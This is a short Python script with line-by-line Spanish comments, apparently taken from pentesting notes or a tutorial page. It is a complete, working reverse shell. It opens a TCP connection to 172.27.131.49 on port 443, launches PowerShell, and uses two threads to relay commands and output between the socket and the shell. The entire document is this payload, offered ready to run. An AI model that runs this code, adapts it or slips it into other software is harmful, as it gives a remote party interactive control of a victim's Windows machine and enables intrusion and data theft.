Python
import os, socket, subprocess, threading # Importa las librerías necesarias para manejo de sockets, subprocess y hilos
# Función para enviar datos desde el socket hacia el proceso (stdin)
def s2p(s, p):
while True:
data = s.recv(1024) # Lee los datos enviados por el servidor a través del socket
if len(data) > 0: # Si se reciben datos
p.stdin.write(data) # Escribe los datos en la entrada estándar del proceso
p.stdin.flush() # Asegura que los datos se envíen inmediatamente
# Función para enviar datos desde el proceso hacia el socket
def p2s(s, p):
while True:
s.send(p.stdout.read(1)) # Lee un byte de la salida estándar del proceso y lo envía al servidor
# Crea un socket para la conexión
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.27.131.49", 443)) # Se conecta al servidor con la IP y puerto especificado
# Inicia el proceso PowerShell, redirigiendo las salidas y entradas estándar
p = subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
# Crea un hilo para transferir datos del socket al proceso
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True # Hace que el hilo sea un hilo "demonio", terminando cuando el programa principal termina
s2p_thread.start() # Inicia el hilo
# Crea un hilo para transferir los datos del proceso al socket
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True # Hace que este hilo también termine cuando el programa principal termine
p2s_thread.start() # Inicia el hilo
# Espera a que el proceso termine
try:
p.wait()
except KeyboardInterrupt:
s.close() # Si el usuario interrumpe el proceso, cierra la conexión del socket
Last updated